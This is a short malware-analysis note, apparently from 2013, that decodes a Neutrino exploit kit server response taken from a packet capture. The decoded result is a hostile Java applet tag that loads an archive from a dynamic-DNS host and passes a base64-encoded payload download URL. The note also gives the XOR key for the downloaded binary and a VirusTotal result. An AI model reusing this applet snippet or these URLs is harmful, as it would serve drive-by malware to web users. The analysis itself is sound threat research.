Neutrino - POST req decode

@malforsec - 20130729
In coop with @MalwareMustDie
Neutrino analaysis - from @node5


Info taken from pcap:
Answer from the Neutrino post request:

Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0D%00DO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1C%00DO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%00%08%3D%15%1D%10-%2B%0F%20%5B%1E%003%22L%12%2C%22%11%15%2008%000W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1C%00DO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp

decoded:

<applet archive='hxxp: //hccqjvmniynypccy.dnsalias.com:8000/mzbrpmbnze?lonjjlyafvb=ccltbxdgh' code='Apl' width='10' height='10'>
					<param name='exec' value='aHR0cDovL2hjY3Fqdm1uaXlueXBjY3kuZG5zYWxpYXMuY29tOjgwMDAvanJuc2tvc3h6bGw/bG5jb3plYnlpd252PWNjbHRieGRnaA=='>
					<param name='xkey' value='rssv'>
				</applet>


So We have the xor key to deobfuscate the binary downloaded: rssv

The binary file after deofuscation sent to Virustotal: 35/46
https://www.virustotal.com/en/file/921816643e99cfc452bd6b4635eb52a7a7033d8ec583f87b2ed1b719c53f0a04/analysis/1375096780/